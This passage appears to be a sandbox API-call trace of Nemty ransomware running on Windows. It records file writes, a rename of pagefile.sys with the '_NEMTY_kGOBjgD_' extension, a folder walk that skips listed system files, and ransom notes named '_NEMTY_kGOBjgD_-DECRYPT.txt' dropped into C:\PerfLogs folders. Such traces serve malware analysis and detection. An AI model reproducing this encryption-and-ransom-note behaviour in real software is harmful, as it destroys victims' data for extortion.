lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0051.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52763634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.315] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52923634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0051.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52923634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.325] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.325] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0051.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.331] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106064868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0051.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106064868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106167268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.338] CloseHandle (hObject=0xffffffff) returned 0 [0051.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.338] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.338] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0051.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0051.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x46) returned 0x6341bd8 [0051.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0051.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0051.338] MoveFileW (lpExistingFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), lpNewFileName="C:\\pagefile.sys._NEMTY_kGOBjgD_" (normalized: "c:\\pagefile.sys._nemty_kgobjgd_")) returned 0 [0051.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341bd8 | out: hHeap=0x4f90000) returned 1 [0051.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0051.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0051.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0051.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.338] FindNextFileW (in: hFindFile=0x34238f0, lpFindFileData=0x653fd08 | out: lpFindFileData=0x653fd08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0051.338] lstrcmpiW (lpString1="PerfLogs", lpString2=".") returned 1 [0051.338] lstrcmpiW (lpString1="PerfLogs", lpString2="..") returned 1 [0051.338] lstrcmpiW (lpString1="PerfLogs", lpString2="...") returned 1 [0051.338] lstrcmpiW (lpString1="PerfLogs", lpString2="windows") returned -1 [0051.338] lstrcmpiW (lpString1="PerfLogs", lpString2="$RECYCLE.BIN") returned 1 [0051.338] lstrcmpiW (lpString1="PerfLogs", lpString2="rsa") returned -1 [0051.338] lstrcmpiW (lpString1="PerfLogs", lpString2="NTDETECT.COM") returned 1 [0051.338] lstrcmpiW (lpString1="PerfLogs", lpString2="ntldr") returned 1 [0051.338] lstrcmpiW (lpString1="PerfLogs", lpString2="MSDOS.SYS") returned 1 [0051.338] lstrcmpiW (lpString1="PerfLogs", lpString2="IO.SYS") returned 1 [0051.339] lstrcmpiW (lpString1="PerfLogs", lpString2="boot.ini") returned 1 [0051.339] lstrcmpiW (lpString1="PerfLogs", lpString2="boot.ini") returned 1 [0051.339] lstrcmpiW (lpString1="PerfLogs", lpString2="AUTOEXEC.BAT") returned 1 [0051.339] lstrcmpiW (lpString1="PerfLogs", lpString2="ntuser.dat") returned 1 [0051.339] lstrcmpiW (lpString1="PerfLogs", lpString2="desktop.ini") returned 1 [0051.339] lstrcmpiW (lpString1="PerfLogs", lpString2="CONFIG.SYS") returned 1 [0051.339] lstrcmpiW (lpString1="PerfLogs", lpString2="RECYCLER") returned -1 [0051.339] lstrcmpiW (lpString1="PerfLogs", lpString2="BOOTSECT.BAK") returned 1 [0051.339] lstrcmpiW (lpString1="PerfLogs", lpString2="bootmgr") returned 1 [0051.339] lstrcmpiW (lpString1="PerfLogs", lpString2="programdata") returned -1 [0051.339] lstrcmpiW (lpString1="PerfLogs", lpString2="appdata") returned 1 [0051.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PerfLogs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0051.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PerfLogs", cchWideChar=8, lpMultiByteStr=0x653fc10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PerfLogs", lpUsedDefaultChar=0x0) returned 8 [0051.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PerfLogs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0051.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PerfLogs", cchWideChar=8, lpMultiByteStr=0x653fc10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PerfLogs", lpUsedDefaultChar=0x0) returned 8 [0051.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0051.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5e) returned 0x4f916e8 [0051.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.339] CreateFileW (lpFileName="C:\\PerfLogs\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\perflogs\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0051.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.341] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.341] WriteFile (in: hFile=0x3bc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653fbc0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653fbc0*=0xef8, lpOverlapped=0x0) returned 1 [0051.342] CloseHandle (hObject=0x3bc) returned 1 [0051.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0051.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0051.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0051.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5e) returned 0x4f916e8 [0051.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.343] CreateFileW (lpFileName="C:\\PerfLogs\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\perflogs\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0051.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.343] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.343] WriteFile (in: hFile=0x3bc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0051.344] CloseHandle (hObject=0x3bc) returned 1 [0051.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.345] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd23f11d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd23f11d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34239b0 [0051.345] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.345] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd23f11d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd23f11d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.345] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.345] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.345] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2=".") returned 1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="..") returned 1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="...") returned 1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="windows") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="$RECYCLE.BIN") returned 1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="rsa") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="NTDETECT.COM") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="ntldr") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="MSDOS.SYS") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="IO.SYS") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="boot.ini") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="boot.ini") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="AUTOEXEC.BAT") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="ntuser.dat") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="desktop.ini") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="CONFIG.SYS") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="RECYCLER") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="BOOTSECT.BAK") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="bootmgr") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="programdata") returned -1 [0051.345] lstrcmpiW (lpString1="Admin", lpString2="appdata") returned -1 [0051.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Admin", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0051.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Admin", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Admin", lpUsedDefaultChar=0x0) returned 5 [0051.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Admin", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0051.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Admin", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Admin", lpUsedDefaultChar=0x0) returned 5 [0051.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0051.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345560 [0051.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0051.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0051.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x76) returned 0x4f91590 [0051.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.346] CreateFileW (lpFileName="C:\\PerfLogs\\Admin\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\perflogs\\admin\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0051.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.346] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.346] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0051.347] CloseHandle (hObject=0x3c0) returned 1 [0051.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345560 | out: hHeap=0x4f90000) returned 1 [0051.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345560 [0051.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63455d0 [0051.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0051.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0051.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x76) returned 0x4f91590 [0051.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.348] CreateFileW (lpFileName="C:\\PerfLogs\\Admin\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\perflogs\\admin\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0051.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.348] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.348] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0051.349] CloseHandle (hObject=0x3c0) returned 1 [0051.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.349] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd23f11d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd23f11d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0051.350] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.350] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, 